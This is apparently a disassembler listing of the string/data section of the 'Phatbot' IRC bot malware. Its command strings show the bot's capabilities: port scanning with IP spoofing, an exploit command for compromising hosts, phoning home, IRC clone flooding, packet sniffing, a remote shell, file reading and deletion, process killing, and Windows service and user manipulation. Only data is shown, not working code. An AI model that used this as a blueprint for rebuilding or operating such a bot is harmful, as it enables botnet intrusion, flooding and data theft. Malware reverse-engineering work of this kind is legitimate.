aVall db 'vall',0 ; DATA XREF: sub_401CC1+1813o
align 4
unk_442818 db 2Dh ; - ; DATA XREF: sub_401CC1+18A0o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
unk_442858 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40380Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_7 db '- Failed to start scan, port is invalid.',0
align 10h
aRandom db 'Random',0 ; DATA XREF: sub_401CC1+1A5Eo
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401CC1+1A65o
align 4
unk_4428A4 db 2Dh ; - ; DATA XREF: sub_401CC1+1A90o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 10h
unk_442910 db 2Dh ; - ; DATA XREF: sub_401CC1+1B01o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToStar_8 db '- Failed to start scan thread, error: <%d>.',0
align 4
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401CC1+1824o
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+183Fo
align 4
aSpoof db 'spoof',0 ; DATA XREF: sub_401CC1+166Fo
align 4
aOff db 'off',0 ; DATA XREF: sub_401CC1+1683o
unk_442988 db 2Dh ; - ; DATA XREF: sub_401CC1+169Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aGet_1 db 'get',0 ; DATA XREF: sub_401CC1:loc_40465Eo
unk_4429B4 db 2Dh ; - ; DATA XREF: sub_401CC1+29BFo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401CC1+2A18o
align 4
unk_4429F8 db 2Dh ; - ; DATA XREF: sub_401CC1+2A30o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurr_0 db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 10h
unk_442A30 db 2Dh ; - ; DATA XREF: sub_401CC1+2A50o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
unk_442A64 db 2Dh ; - ; DATA XREF: sub_401CC1+2A7Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 10h
aExploit db 'exploit',0 ; DATA XREF: sub_401CC1+2A9Ao
unk_442A98 db 2Dh ; - ; DATA XREF: sub_401CC1+2B18o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 4
unk_442AC8 db 2Dh ; - ; DATA XREF: sub_401CC1+2B8Ao
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 4
aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401CC1+2B97o
align 4
aRin db 'rin',0 ; DATA XREF: sub_401CC1+2BAEo
aQuitReconnec_1 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408C18o
align 4
unk_442B34 db 2Dh ; - ; DATA XREF: sub_401CC1+6F6Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401CC1+2BC5o
aRinms db 'rinms',0 ; DATA XREF: sub_401CC1+2BDCo
align 4
aQuitReconnec_0 db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401CC1:loc_408BD6o
align 4
unk_442B8C db 2Dh ; - ; DATA XREF: sub_401CC1+6F29o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 10h
aFlood db 'flood',0 ; DATA XREF: sub_401CC1+2BF3o
align 4
aLoad db 'load',0 ; DATA XREF: sub_401CC1+2C14o
align 10h
unk_442BC0 db 2Dh ; - ; DATA XREF: sub_401CC1+2C68o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aPm_1 db 'pm',0 ; DATA XREF: sub_401CC1+2C98o
align 10h
asc_442BF0: ; DATA XREF: sub_401CC1+2CB3o
unicode 0, < >,0
a__5: ; DATA XREF: sub_401CC1+2CB8o
unicode 0, <_>,0
aPrivmsgSS_3 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+2CE4o
align 4
aCt db 'ct',0 ; DATA XREF: sub_401CC1+2CFFo
align 4
asc_442C0C: ; DATA XREF: sub_401CC1+2D1Ao
unicode 0, < >,0
a__6: ; DATA XREF: sub_401CC1+2D1Fo
unicode 0, <_>,0
dword_442C14 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: sub_401CC1+2D4Bo
dword_442C28 dd 746Eh ; DATA XREF: sub_401CC1+2D66o
dword_442C2C dd 20h ; DATA XREF: sub_401CC1+2D81o
dword_442C30 dd 5Fh ; DATA XREF: sub_401CC1+2D86o
dword_442C34 dd 69746F6Eh, 25206563h, 253A2073h, 73h ; DATA XREF: sub_401CC1+2DB2o
aMode db 'mode',0 ; DATA XREF: sub_401CC1+2DCDo
align 4
asc_442C4C: ; DATA XREF: sub_401CC1+2DE8o
unicode 0, < >,0
a_: ; DATA XREF: sub_401CC1+2DEDo
unicode 0, <_>,0
aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401CC1+2E19o
align 10h
aJoin db 'join',0 ; DATA XREF: sub_401CC1+2E34o
align 4
aJoinS db 'join %s',0 ; DATA XREF: sub_401CC1+2E56o
aPart_1 db 'part',0 ; DATA XREF: sub_401CC1+2E71o
align 4
aPartS db 'part %s',0 ; DATA XREF: sub_401CC1+2E93o
aPartflood db 'partflood',0 ; DATA XREF: sub_401CC1+2EAEo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: sub_401CC1+2ED5o
align 4
aPnick db 'pnick',0 ; DATA XREF: sub_401CC1+2EF0o
align 10h
aSI db '%s%i',0 ; DATA XREF: sub_401CC1+2F30o
align 4
aNickS db 'NICK %s',0 ; DATA XREF: sub_401CC1+2F48o
aJoinPart db 'join/part',0 ; DATA XREF: sub_401CC1+2F63o
align 4
aJoinS_0 db 'join %s',0 ; DATA XREF: sub_401CC1+2F91o
aPartSS_0 db 'part %s %s',0 ; DATA XREF: sub_401CC1+2FBAo
align 10h
aJoinS_1 db 'join %s',0 ; DATA XREF: sub_401CC1+2FF5o
aPartSS_1 db 'part %s %s',0 ; DATA XREF: sub_401CC1+3035o
align 4
aJoinS_2 db 'join %s',0 ; DATA XREF: sub_401CC1+3059o
aPartSS_2 db 'part %s %s',0 ; DATA XREF: sub_401CC1+3099o
align 4
aDcc db 'dcc',0 ; DATA XREF: sub_401CC1+30B4o
dword_442CFC dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: sub_401CC1+3131o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
aNick_0 db 'nick',0 ; DATA XREF: sub_401CC1+314Co
align 4
aJoinS_3 db 'join %s',0 ; DATA XREF: sub_401CC1+3176o
aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401CC1+31A6o
aNickS_1 db 'NICK %s',0 ; DATA XREF: sub_401CC1+31EDo
aNickS_2 db 'NICK %s',0 ; DATA XREF: sub_401CC1+3234o
aChgnick db 'chgnick',0 ; DATA XREF: sub_401CC1+324Fo
aNickS_3 db 'NICK %s',0 ; DATA XREF: sub_401CC1+3278o
aMsg db 'msg',0 ; DATA XREF: sub_401CC1+3293o
aJoinS_4 db 'join %s',0 ; DATA XREF: sub_401CC1+32C1o
aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+32EAo
align 4
aPrivmsgSS_0 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+332Ao
align 4
aPrivmsgSS_1 db 'privmsg %s :%s',0 ; DATA XREF: sub_401CC1+336Ao
align 4
aNotice_2 db 'notice',0 ; DATA XREF: sub_401CC1+3385o
align 10h
aJoinS_5 db 'join %s',0 ; DATA XREF: sub_401CC1+33B3o
aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+33DCo
align 4
aNoticeSS_2 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+341Co
align 4
aNoticeSS_3 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401CC1+345Co
align 4
aCtcp db 'ctcp',0 ; DATA XREF: sub_401CC1+3477o
align 10h
aJoinS_6 db 'join %s',0 ; DATA XREF: sub_401CC1+34A5o
dword_442DE8 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401CC1+34C9o
dword_442DFC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: sub_401CC1+3504o
dd 1
dword_442E14 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401CC1+353Fo
dd 0
dword_442E2C dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: sub_401CC1+357Ao
dd 0
dword_442E44 dd 78696Dh ; DATA XREF: sub_401CC1+3595o
dword_442E48 dd 6E696F6Ah, 732520h ; DATA XREF: sub_401CC1+35C3o
dword_442E50 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: sub_401CC1+35E7o
dword_442E64 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401CC1+3627o
dword_442E74 dd 56495250h, 2047534Dh, 3A207325h, 7325h ; DATA XREF: sub_401CC1+3667o
dword_442E84 dd 49544F4Eh, 25204543h, 253A2073h, 73h ; DATA XREF: sub_401CC1+36A7o
aRegister db 'register',0 ; DATA XREF: sub_401CC1+36C2o
align 10h
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401CC1+36EBo
aOff_0 db 'off',0 ; DATA XREF: sub_401CC1+3706o
unk_442EBC db 2Dh ; - ; DATA XREF: sub_401CC1+3754o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNick_1 db 'nick',0 ; DATA XREF: sub_401CC1+3772o
align 4
aN: ; DATA XREF: sub_401CC1+3789o
unicode 0, <n>,0
aNickS_6 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EFDo
align 4
unk_442EFC db 2Dh ; - ; DATA XREF: sub_401CC1+6F0Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
aJoin_0 db 'join',0 ; DATA XREF: sub_401CC1+37A0o
align 4
aJ: ; DATA XREF: sub_401CC1+37B7o
unicode 0, <j>,0
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EE4o
align 4
unk_442F3C db 2Dh ; - ; DATA XREF: sub_401CC1+6EF2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: ',27h,'%s',27h,'.',0
align 10h
aPart_2 db 'part',0 ; DATA XREF: sub_401CC1+37CEo
align 4
aPt db 'pt',0 ; DATA XREF: sub_401CC1+37E5o
align 4
aPartS_2 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EC4o
align 4
unk_442F78 db 2Dh ; - ; DATA XREF: sub_401CC1+6ED2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
aRaw db 'raw',0 ; DATA XREF: sub_401CC1+37FCo
aR_1: ; DATA XREF: sub_401CC1+3813o
unicode 0, <r>,0
aS_27 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6EABo
align 4
dword_442FAC dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401CC1+6EB9o
dd 2E732520h, 0
aKillthread db 'killthread',0 ; DATA XREF: sub_401CC1+382Ao
align 4
aK: ; DATA XREF: sub_401CC1+3841o
unicode 0, <k>,0
aAll db 'all',0 ; DATA XREF: sub_401CC1+6D8Fo
unk_442FDC db 2Dh ; - ; DATA XREF: sub_401CC1+6DA9o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
unk_443004 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408A74o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_44302C db 2Dh ; - ; DATA XREF: sub_401CC1+6E34o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 10h
unk_443050 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408AFCo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 4
aC_quit db 'c_quit',0 ; DATA XREF: sub_401CC1+3858o
align 4
aC_q db 'c_q',0 ; DATA XREF: sub_401CC1+386Fo
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6D04o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401CC1+3886o
align 4
aC_rn db 'c_rn',0 ; DATA XREF: sub_401CC1+389Do
align 4
aNickS_5 db 'NICK %s',0 ; DATA XREF: sub_401CC1+6CC4o
aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6CD9o
align 4
aPrefix db 'prefix',0 ; DATA XREF: sub_401CC1+38B4o
align 4
aPr db 'pr',0 ; DATA XREF: sub_401CC1+38CBo
align 4
unk_4430C8 db 2Dh ; - ; DATA XREF: sub_401CC1+6C82o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
aOpen db 'open',0 ; DATA XREF: sub_401CC1+38E2o
align 4
aO: ; DATA XREF: sub_401CC1+38F9o
unicode 0, <o>,0
aOpen_1 db 'open',0 ; DATA XREF: sub_401CC1+6C52o
align 4
unk_443104 db 2Dh ; - ; DATA XREF: sub_401CC1+6C63o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_443124 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40892Eo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
aServer db 'server',0 ; DATA XREF: sub_401CC1+3910o
align 10h
aSe db 'se',0 ; DATA XREF: sub_401CC1+3927o
align 4
unk_443154 db 2Dh ; - ; DATA XREF: sub_401CC1+6C3Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
aDns db 'dns',0 ; DATA XREF: sub_401CC1+393Eo
aDn db 'dn',0 ; DATA XREF: sub_401CC1+3955o
align 4
unk_443184 db 2Dh ; - ; DATA XREF: sub_401CC1+6BE4o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_4431A4 db 2Dh ; - ; DATA XREF: sub_401CC1+6C17o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS__0 db '- Lookup: %s -> %s.',0
align 4
unk_4431C4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4088DFo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
aKillproc db 'killproc',0 ; DATA XREF: sub_401CC1+396Co
align 4
aKp db 'kp',0 ; DATA XREF: sub_401CC1+3983o
align 4
unk_4431FC db 2Dh ; - ; DATA XREF: sub_401CC1+6BA6o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_44321C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408871o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
aKill db 'kill',0 ; DATA XREF: sub_401CC1+399Ao
align 4
aKi db 'ki',0 ; DATA XREF: sub_401CC1+39B1o
align 4
unk_443258 db 2Dh ; - ; DATA XREF: sub_401CC1+6B49o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
unk_44327C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408811o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
aDelete db 'delete',0 ; DATA XREF: sub_401CC1+39C8o
align 4
aDel db 'del',0 ; DATA XREF: sub_401CC1+39DFo
dword_4432B8 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401CC1+6B0Bo
dd 27732527h, 2Eh
dword_4432D4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC1:loc_4087D3o
aList db 'list',0 ; DATA XREF: sub_401CC1+39F6o
align 4
aLi db 'li',0 ; DATA XREF: sub_401CC1+3A0Do
align 4
dword_4432EC dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401CC1+6AF5o
dd 0
aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401CC1+3A24o
aMirc db 'mirc',0 ; DATA XREF: sub_401CC1+3A3Bo
align 4
unk_443314 db 2Dh ; - ; DATA XREF: sub_401CC1+6A97o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_443334 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401CC1:loc_40875Fo
dd 746E6573h, 2Eh
dword_443350 dd 646D63h ; DATA XREF: sub_401CC1+3A52o
dword_443354 dd 6D63h ; DATA XREF: sub_401CC1+3A69o
dword_443358 dd 0Ah ; DATA XREF: sub_401CC1+6A3Ao
unk_44335C db 2Dh ; - ; DATA XREF: sub_401CC1+6A52o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
dword_443388 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401CC1+6A60o
dd 732520h
aReadfile db 'readfile',0 ; DATA XREF: sub_401CC1+3A80o
align 4
aRf db 'rf',0 ; DATA XREF: sub_401CC1+3A97o
align 10h
aR_0: ; DATA XREF: sub_401CC1:loc_408658o
unicode 0, <r>,0
unk_4433B4 db 2Dh ; - ; DATA XREF: sub_401CC1+69FEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_4433D8 db 2Dh ; - ; DATA XREF: sub_401CC1+6A12o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 4
aSniffer db 'sniffer',0 ; DATA XREF: sub_401CC1+3AAEo
aOn db 'on',0 ; DATA XREF: sub_401CC1+3AC3o
align 4
unk_443408 db 2Dh ; - ; DATA XREF: sub_401CC1+3AE3o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
unk_443428 db 2Dh ; - ; DATA XREF: sub_401CC1+3B47o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_443458 db 2Dh ; - ; DATA XREF: sub_401CC1+3BB6o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToStar_9 db '- Failed to start sniffer thread, error: <%d>.',0
aOff_1 db 'off',0 ; DATA XREF: sub_401CC1+3BC1o
unk_443498 db 2Dh ; - ; DATA XREF: sub_401CC1+3BE4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_4434D8 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4058AFo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
aIdent db 'ident',0 ; DATA XREF: sub_401CC1+3BFBo
align 10h
aOn_0 db 'on',0 ; DATA XREF: sub_401CC1+3C10o
align 4
dword_443514 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C2Co
aAlreadyRunni_2 db '- Already running.',0
align 4
dword_443534 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C3Co
aServerRunnin_0 db '- Server running on Port: 113.',0
align 10h
dword_443560 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C89o
aFailedToSta_10 db '- Failed to start server, error: <%d>.',0
align 4
aOff_2 db 'off',0 ; DATA XREF: sub_401CC1+3C94o
dword_443598 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3CB7o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 10h
dword_4435D0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1:loc_405982o
aNoThreadFound_ db '- No thread found.',0
align 10h
aNet_0 db 'net',0 ; DATA XREF: sub_401CC1+3CCEo
aStart db 'start',0 ; DATA XREF: sub_401CC1+3D25o
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401CC1+3D45o
align 10h
unk_443600 db 2Dh ; - ; DATA XREF: sub_401CC1+3D76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
unk_443624 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405A41o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
aStop db 'stop',0 ; DATA XREF: sub_401CC1+3D8Bo
align 4
aS_2 db '%s',0 ; DATA XREF: sub_401CC1+3DA6o
align 10h
aPause db 'pause',0 ; DATA XREF: sub_401CC1+3DAEo
align 4
aS_3 db '%s',0 ; DATA XREF: sub_401CC1+3DC9o
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401CC1+3DD4o
align 4
aS_4 db '%s',0 ; DATA XREF: sub_401CC1+3DEFo
align 4
aDelete_0 db 'delete',0 ; DATA XREF: sub_401CC1+3DFAo
align 4
aS_5 db '%s',0 ; DATA XREF: sub_401CC1+3E15o
align 4
aShare db 'share',0 ; DATA XREF: sub_401CC1+3E20o
align 10h
aS_6 db '%s',0 ; DATA XREF: sub_401CC1+3E49o
align 4
aS_7 db '%s',0 ; DATA XREF: sub_401CC1+3E61o
align 4
unk_443688 db 2Dh ; - ; DATA XREF: sub_401CC1+3E93o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 4
unk_4436AC db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405B5Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
aUser db 'user',0 ; DATA XREF: sub_401CC1+3EA8o
align 4
aS_8 db '%s',0 ; DATA XREF: sub_401CC1+3EE1o
align 4
aS_9 db '%s',0 ; DATA XREF: sub_401CC1+3F08o
align 4
aS_10 db '%s',0 ; DATA XREF: sub_401CC1+3F19o
align 10h
unk_4436E0 db 2Dh ; - ; DATA XREF: sub_401CC1+3F4Bo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_443700 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C16o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 10h
aSend db 'send',0 ; DATA XREF: sub_401CC1+3F60o
align 4
aS_11 db '%s',0 ; DATA XREF: sub_401CC1+3F90o
align 4
unk_44372C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C64o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 10h
unk_443750 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C6Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_44376C db 2Dh ; - ; DATA XREF: sub_401CC1+3CF2o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aGethost db 'gethost',0 ; DATA XREF: sub_401CC1+3FBAo
aGh db 'gh',0 ; DATA XREF: sub_401CC1+3FD1o
align 10h
aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+68FBo
align 10h
unk_4437C0 db 2Dh ; - ; DATA XREF: sub_401CC1+6922o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_4437E8 db 2Dh ; - ; DATA XREF: sub_401CC1+693Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
dword_443818 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401CC1+6979o
dd 2E732520h, 0
aKilllog db 'killlog',0 ; DATA XREF: sub_401CC1+3FFAo
aKl db 'kl',0 ; DATA XREF: sub_401CC1+4011o
align 10h
aAddalias db 'addalias',0 ; DATA XREF: sub_401CC1+4028o
align 4
aAa db 'aa',0 ; DATA XREF: sub_401CC1+403Fo
align 10h
unk_443850 db 2Dh ; - ; DATA XREF: sub_401CC1+6886o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aAliasAddedS_ db 'Alias added: %s.',0
align 10h
aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401CC1+4056o
aPm db 'pm',0 ; DATA XREF: sub_401CC1+406Do
align 4
unk_44387C db 2Dh ; - ; DATA XREF: sub_401CC1+6848o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrivmsgSS_ db 'Privmsg: %s: %s.',0
align 4
aAction db 'action',0 ; DATA XREF: sub_401CC1+4084o
align 4
aA: ; DATA XREF: sub_401CC1+409Bo
unicode 0, <a>,0
dword_4438A8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC1+67D3o
